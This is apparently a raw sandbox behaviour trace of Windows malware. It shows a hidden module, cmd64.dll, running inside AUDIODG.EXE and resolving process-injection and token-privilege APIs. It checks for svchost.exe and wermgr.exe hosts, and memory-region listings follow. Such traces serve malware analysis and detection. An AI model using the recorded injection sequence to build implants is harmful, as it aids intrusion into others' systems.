[0084.633] IdePortDispatch () returned 0x103 [0084.633] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003468000 [0084.633] IdePortDispatch () returned 0x103 [0084.634] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003470000 [0084.634] IdePortDispatch () returned 0x103 [0084.634] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003478000 [0084.635] IdePortDispatch () returned 0x103 [0084.635] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003480000 [0084.635] IdePortDispatch () returned 0x103 [0084.636] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003488000 [0084.636] IdePortDispatch () returned 0x103 [0084.636] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003490000 [0084.636] IdePortDispatch () returned 0x103 [0084.637] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003498000 [0084.637] IdePortDispatch () returned 0x103 [0084.637] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a0000 [0084.637] IdePortDispatch () returned 0x103 [0084.640] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a6000 [0084.640] IdePortDispatch () returned 0x103 [0084.648] GetProcAddress (hModule=0x0, lpProcName="InternetOpenA") returned 0x0 [0084.648] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff4f0000 [0084.652] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0084.656] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0084.656] LoadLibraryExA (lpLibFileName="imagehlp.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffb50000 [0084.657] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0084.658] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0084.659] LoadLibraryExA (lpLibFileName="PSAPI.DLL", hFile=0x0, dwFlags=0x0) returned 0x77e20000 [0084.659] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\psapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0084.660] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0084.660] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefed20000 [0084.660] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0084.661] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x77b50000 [0084.661] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0084.661] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff940000 [0084.661] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0084.663] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x77a30000 [0084.663] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualProtect") returned 0x77a32ef0 [0084.663] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x12f328 | out: lpflOldProtect=0x12f328*=0x40) returned 1 [0084.663] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x40, lpflOldProtect=0x12f328 | out: lpflOldProtect=0x12f328*=0x4) returned 1 [0084.663] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c50000 [0084.663] GetProcAddress (hModule=0x77c50000, lpProcName="_strlwr") returned 0x77cd8fb0 [0084.663] GetProcAddress (hModule=0x77c50000, lpProcName="RtlTimeToSecondsSince1970") returned 0x77c67c30 [0084.663] GetProcAddress (hModule=0x77c50000, lpProcName="RtlRandom") returned 0x77cf4a40 [0084.663] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77c80950 [0084.664] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageNtHeader") returned 0x77c7ecb0 [0084.664] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAllocateVirtualMemory") returned 0x77ca1490 [0084.664] GetProcAddress (hModule=0x77c50000, lpProcName="ZwFreeVirtualMemory") returned 0x77ca14f0 [0084.664] GetProcAddress (hModule=0x77c50000, lpProcName="sscanf") returned 0x77cda974 [0084.664] GetProcAddress (hModule=0x77c50000, lpProcName="_snwprintf") returned 0x77cd8b8c [0084.664] GetProcAddress (hModule=0x77c50000, lpProcName="_stricmp") returned 0x77c8c5ec [0084.664] GetProcAddress (hModule=0x77c50000, lpProcName="RtlEqualUnicodeString") returned 0x77ca59a0 [0084.664] GetProcAddress (hModule=0x77c50000, lpProcName="ZwQuerySystemInformation") returned 0x77ca1670 [0084.664] GetProcAddress (hModule=0x77c50000, lpProcName="ZwSetInformationToken") returned 0x77ca2920 [0084.664] GetProcAddress (hModule=0x77c50000, lpProcName="ZwDuplicateToken") returned 0x77ca1730 [0084.664] GetProcAddress (hModule=0x77c50000, lpProcName="ZwClose") returned 0x77ca1400 [0084.664] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAdjustPrivilegesToken") returned 0x77ca1720 [0084.664] GetProcAddress (hModule=0x77c50000, lpProcName="ZwOpenProcessToken") returned 0x77ca22d0 [0084.664] GetProcAddress (hModule=0x77c50000, lpProcName="strstr") returned 0x77cdac00 [0084.664] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0084.664] GetProcAddress (hModule=0x77c50000, lpProcName="sprintf") returned 0x77cda738 [0084.665] GetProcAddress (hModule=0x77c50000, lpProcName="strncat") returned 0x77c9fc40 [0084.665] GetProcAddress (hModule=0x77c50000, lpProcName="strchr") returned 0x77c7c900 [0084.665] GetProcAddress (hModule=0x77c50000, lpProcName="strrchr") returned 0x77cdab0c [0084.665] GetProcAddress (hModule=0x77c50000, lpProcName="ispunct") returned 0x77cd8620 [0084.665] GetProcAddress (hModule=0x77c50000, lpProcName="isalnum") returned 0x77cd8644 [0084.665] GetProcAddress (hModule=0x77c50000, lpProcName="strncpy") returned 0x77c9fec0 [0084.665] GetProcAddress (hModule=0x77c50000, lpProcName="RtlComputeCrc32") returned 0x77c5c7b0 [0084.665] GetProcAddress (hModule=0x77c50000, lpProcName="_snprintf") returned 0x77cd8ae0 [0084.665] GetProcAddress (hModule=0x77c50000, lpProcName="memcmp") returned 0x77c9ea60 [0084.665] GetProcAddress (hModule=0x77c50000, lpProcName="__chkstk") returned 0x77ca0dd0 [0084.665] GetProcAddress (hModule=0x77c50000, lpProcName="strncmp") returned 0x77c9fdf0 [0084.665] GetProcAddress (hModule=0x77c50000, lpProcName="atoi") returned 0x77c565e4 [0084.665] GetProcAddress (hModule=0x77c50000, lpProcName="memset") returned 0x77ca2ed0 [0084.665] GetProcAddress (hModule=0x77c50000, lpProcName="memcpy") returned 0x77c9e6d0 [0084.665] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x0 [0084.665] GetProcAddress (hModule=0x0, lpProcName="InternetReadFile") returned 0x0 [0084.666] GetProcAddress (hModule=0x0, lpProcName="HttpQueryInfoW") returned 0x0 [0084.666] GetProcAddress (hModule=0x0, lpProcName="InternetSetOptionW") returned 0x0 [0084.666] GetProcAddress (hModule=0x0, lpProcName="InternetQueryOptionW") returned 0x0 [0084.666] GetProcAddress (hModule=0x0, lpProcName="HttpSendRequestA") returned 0x0 [0084.666] GetProcAddress (hModule=0x0, lpProcName="HttpOpenRequestA") returned 0x0 [0084.666] GetProcAddress (hModule=0x0, lpProcName="InternetConnectA") returned 0x0 [0084.666] GetProcAddress (hModule=0x0, lpProcName="InternetOpenA") returned 0x0 [0084.666] GetProcAddress (hModule=0x0, lpProcName="InternetCloseHandle") returned 0x0 [0084.666] GetProcAddress (hModule=0x0, lpProcName="InternetCrackUrlA") returned 0x0 [0084.666] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x7feff4f0000 [0084.666] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0084.666] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SHGetValueA") returned 0x7feff4f4e50 [0084.666] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindFileNameA") returned 0x7feff4f86c4 [0084.666] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveBackslashA") returned 0x7feff519e70 [0084.666] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindExtensionA") returned 0x7feff51b358 [0084.666] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFileExistsA") returned 0x7feff51b4d4 [0084.666] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathAppendA") returned 0x7feff4f5710 [0084.667] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveFileSpecA") returned 0x7feff51bbb4 [0084.667] GetModuleHandleA (lpModuleName="imagehlp.dll") returned 0x7feffb50000 [0084.667] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0084.667] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x77e20000 [0084.667] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0084.667] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x77a30000 [0084.667] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileA") returned 0x77a531f0 [0084.667] GetProcAddress (hModule=0x77a30000, lpProcName="SystemTimeToFileTime") returned 0x77a53560 [0084.667] GetProcAddress (hModule=0x77a30000, lpProcName="GetVersionExA") returned 0x77a470c0 [0084.667] GetProcAddress (hModule=0x77a30000, lpProcName="GetLocaleInfoA") returned 0x77a40210 [0084.667] GetProcAddress (hModule=0x77a30000, lpProcName="GetWindowsDirectoryA") returned 0x77a7bfb0 [0084.667] GetProcAddress (hModule=0x77a30000, lpProcName="GetTickCount") returned 0x77a52b00 [0084.667] GetProcAddress (hModule=0x77a30000, lpProcName="GetCommandLineA") returned 0x77a51e70 [0084.667] GetProcAddress (hModule=0x77a30000, lpProcName="SetUnhandledExceptionFilter") returned 0x77a49b70 [0084.667] GetProcAddress (hModule=0x77a30000, lpProcName="LocalFree") returned 0x77a447a0 [0084.667] GetProcAddress (hModule=0x77a30000, lpProcName="SetWaitableTimer") returned 0x77a38890 [0084.668] GetProcAddress (hModule=0x77a30000, lpProcName="CreateWaitableTimerA") returned 0x77a90da0 [0084.668] GetProcAddress (hModule=0x77a30000, lpProcName="CreateThread") returned 0x77a46580 [0084.668] GetProcAddress (hModule=0x77a30000, lpProcName="CopyFileA") returned 0x77ac5620 [0084.668] GetProcAddress (hModule=0x77a30000, lpProcName="UnmapViewOfFile") returned 0x77a53580 [0084.668] GetProcAddress (hModule=0x77a30000, lpProcName="MapViewOfFile") returned 0x77a3e390 [0084.668] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileMappingA") returned 0x77a3ead0 [0084.668] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0084.668] GetProcAddress (hModule=0x77a30000, lpProcName="RemoveDirectoryA") returned 0x77a7bdb0 [0084.668] GetProcAddress (hModule=0x77a30000, lpProcName="DeleteFileA") returned 0x77a414e0 [0084.668] GetProcAddress (hModule=0x77a30000, lpProcName="CreateDirectoryA") returned 0x77a7c5b0 [0084.668] GetProcAddress (hModule=0x77a30000, lpProcName="GetTempPathA") returned 0x77a92060 [0084.668] GetProcAddress (hModule=0x77a30000, lpProcName="ExitProcess") returned 0x77c740f0 [0084.668] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemTimeAsFileTime") returned 0x77a43f40 [0084.668] GetProcAddress (hModule=0x77a30000, lpProcName="LoadLibraryA") returned 0x77a47070 [0084.668] GetProcAddress (hModule=0x77a30000, lpProcName="OpenProcess") returned 0x77a4cad0 [0084.668] GetProcAddress (hModule=0x77a30000, lpProcName="OpenMutexA") returned 0x77a32ce0 [0084.668] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemInfo") returned 0x77a46f70 [0084.669] GetProcAddress (hModule=0x77a30000, lpProcName="QueueUserWorkItem") returned 0x77a41370 [0084.669] GetProcAddress (hModule=0x77a30000, lpProcName="Sleep") returned 0x77a52b70 [0084.669] GetProcAddress (hModule=0x77a30000, lpProcName="TerminateProcess") returned 0x77a7bca0 [0084.669] GetProcAddress (hModule=0x77a30000, lpProcName="ResumeThread") returned 0x77a413a0 [0084.669] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64SetThreadContext") returned 0x77a7af70 [0084.669] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64GetThreadContext") returned 0x77a7afa0 [0084.669] GetProcAddress (hModule=0x77a30000, lpProcName="WriteProcessMemory") returned 0x77a7bad0 [0084.669] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAllocEx") returned 0x77a7bbd0 [0084.669] GetProcAddress (hModule=0x77a30000, lpProcName="CreateProcessA") returned 0x77ac8840 [0084.669] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleFileNameA") returned 0x77a464a0 [0084.669] GetProcAddress (hModule=0x77a30000, lpProcName="LeaveCriticalSection") returned 0x77ca3000 [0084.669] GetProcAddress (hModule=0x77a30000, lpProcName="EnterCriticalSection") returned 0x77ca2fc0 [0084.669] GetProcAddress (hModule=0x77a30000, lpProcName="HeapCreate") returned 0x77a470e0 [0084.669] GetProcAddress (hModule=0x77a30000, lpProcName="HeapDestroy") returned 0x77a41490 [0084.669] GetProcAddress (hModule=0x77a30000, lpProcName="HeapAlloc") returned 0x77ca33a0 [0084.669] GetProcAddress (hModule=0x77a30000, lpProcName="HeapReAlloc") returned 0x77c83f20 [0084.670] GetProcAddress (hModule=0x77a30000, lpProcName="HeapFree") returned 0x77a53070 [0084.670] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAlloc") returned 0x77a467a0 [0084.670] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualFree") returned 0x77a41260 [0084.670] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0084.670] GetProcAddress (hModule=0x77a30000, lpProcName="CreateMutexA") returned 0x77a47210 [0084.670] GetProcAddress (hModule=0x77a30000, lpProcName="GetLastError") returned 0x77a52dd0 [0084.670] GetProcAddress (hModule=0x77a30000, lpProcName="WaitForSingleObject") returned 0x77a52b20 [0084.670] GetProcAddress (hModule=0x77a30000, lpProcName="ReleaseMutex") returned 0x77a52b90 [0084.670] GetProcAddress (hModule=0x77a30000, lpProcName="WritePrivateProfileStringA") returned 0x77ab16b0 [0084.670] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileStringA") returned 0x77ab1720 [0084.670] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileIntA") returned 0x77ab18b0 [0084.670] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileSectionA") returned 0x77ab1600 [0084.670] GetProcAddress (hModule=0x77a30000, lpProcName="InitializeCriticalSection") returned 0x77c78100 [0084.670] GetProcAddress (hModule=0x77a30000, lpProcName="GetFileSize") returned 0x77a3f9d0 [0084.670] GetProcAddress (hModule=0x77a30000, lpProcName="CloseHandle") returned 0x77a52f80 [0084.670] GetProcAddress (hModule=0x77a30000, lpProcName="ReadFile") returned 0x77a41500 [0084.671] GetProcAddress (hModule=0x77a30000, lpProcName="WriteFile") returned 0x77a535a0 [0084.671] GetProcAddress (hModule=0x77a30000, lpProcName="SetEndOfFile") returned 0x77a7bd70 [0084.671] GetProcAddress (hModule=0x77a30000, lpProcName="FlushFileBuffers") returned 0x77a369f0 [0084.671] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x7fefed20000 [0084.671] GetProcAddress (hModule=0x7fefed20000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefed32040 [0084.671] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0084.671] GetProcAddress (hModule=0x7fefed20000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefed31e00 [0084.671] GetProcAddress (hModule=0x7fefed20000, lpProcName="CreateProcessAsUserA") returned 0x7fefed6a1a0 [0084.671] GetProcAddress (hModule=0x7fefed20000, lpProcName="AdjustTokenPrivileges") returned 0x7fefed3b9b0 [0084.671] GetProcAddress (hModule=0x7fefed20000, lpProcName="LookupPrivilegeValueA") returned 0x7fefed21a00 [0084.671] GetProcAddress (hModule=0x7fefed20000, lpProcName="OpenProcessToken") returned 0x7fefed3bd70 [0084.671] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x77b50000 [0084.671] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0084.671] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feff940000 [0084.671] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0084.673] PathRemoveFileSpecA (in: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c") returned 1 [0084.673] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e310, nSize=0x3ff | out: lpFilename="C:\\Windows\\system32\\AUDIODG.EXE") returned 0x1f [0084.673] PathFindFileNameA (pszPath="C:\\Windows\\system32\\AUDIODG.EXE") returned="AUDIODG.EXE" [0084.673] GetCommandLineA () returned="C:\\Windows\\system32\\AUDIODG.EXE 0x2b0" [0084.673] _strcmpi (_Str1="AUDIODG.EXE", _Str2="svchost.exe") returned -18 [0084.673] StrStrIA (lpFirst="AUDIODG.EXE", lpSrch="wermgr.exe") returned 0x0 [0084.675] HeapDestroy (hHeap=0x8b0000) returned 1 [0084.680] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptbase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0084.685] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\RpcRtRemote.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0084.693] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ntmarta.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0084.694] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\Wldap32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0084.745] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\clbcatq.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0084.751] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0084.757] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rsaenh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 206 os_tid = 0x3cc Thread: id = 208 os_tid = 0x3d4 Thread: id = 210 os_tid = 0x3dc [0097.585] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\AudioSes.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.643] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\AudioEng.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.653] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\avrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.700] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\setupapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.702] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cfgmgr32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.703] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\devobj.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.129] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\AUDIOKSE.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.827] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.828] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.830] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wintrust.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.830] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ksuser.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0099.155] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\WMALFXGFXDSP.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0099.192] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\mfplat.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0099.200] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ws2_32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0099.201] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 211 os_tid = 0x3e0 Thread: id = 366 os_tid = 0x5e8 Thread: id = 375 os_tid = 0x60c Thread: id = 379 os_tid = 0x618 Thread: id = 388 os_tid = 0x63c Thread: id = 392 os_tid = 0x64c Thread: id = 395 os_tid = 0x660 Thread: id = 397 os_tid = 0x65c Process: id = "21" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xfb23000" os_pid = "0x128" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x1d4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" Region: id = 1647 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1648 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1649 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1650 start_va = 0x1d0000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1651 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 1652 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1653 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1654 start_va = 0xff1c0000 end_va = 0xff1cafff entry_point = 0xff1c246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" Region: id = 1655 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 1656 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1657 start_va = 0x7fffffd8000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1658 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1659 start_va = 0x10000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1660 start_va = 0x50000 end_va = 0x50fff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1661 start_va = 0xa0000 end_va = 0x19ffff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 1662 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x77a45ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" Region: id = 1663 start_va = 0x7fefde00000 end_va = 0x7fefde6afff entry_point = 0x7fefde030e0 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\System32\\KernelBase.dll" Region: id = 1664 start_va = 0x60000 end_va = 0x6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1665 start_va = 0x250000 end_va = 0x2b6fff entry_point = 0x250000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 1666 start_va = 0x2c0000 end_va = 0x3bffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 1667 start_va = 0x3f0000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 1668 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1669 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1670 start_va = 0x7fefed00000 end_va = 0x7fefed1efff entry_point = 0x7fefed060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" Region: id = 1671 start_va = 0x7feffc40000 end_va = 0x7feffcdefff entry_point = 0x7feffc425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" Region: id = 1672 start_va = 0x7feffd20000 end_va = 0x7feffe4cfff entry_point = 0x7feffd6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" Region: id = 1673 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 1674 start_va = 0x80000 end_va = 0x81fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 1675 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 1676 start_va = 0x1a0000 end_va = 0x1a0fff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 1677 start_va = 0x400000 end_va = 0x587fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 1678 start_va = 0x590000 end_va = 0x710fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000590000" filename = "" Region: id = 1679 start_va = 0x720000 end_va = 0x7dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000720000" filename = "" Region: id = 1680 start_va = 0x7e0000 end_va = 0xbd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 1681 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x77b6a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" Region: id = 1682 start_va = 0x7fefdc40000 end_va = 0x7fefdc4efff entry_point = 0x7fefdc41020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" Region: id = 1683 start_va = 0x7fefdc50000 end_va = 0x7fefddb6fff entry_point = 0x7fefdc510c0 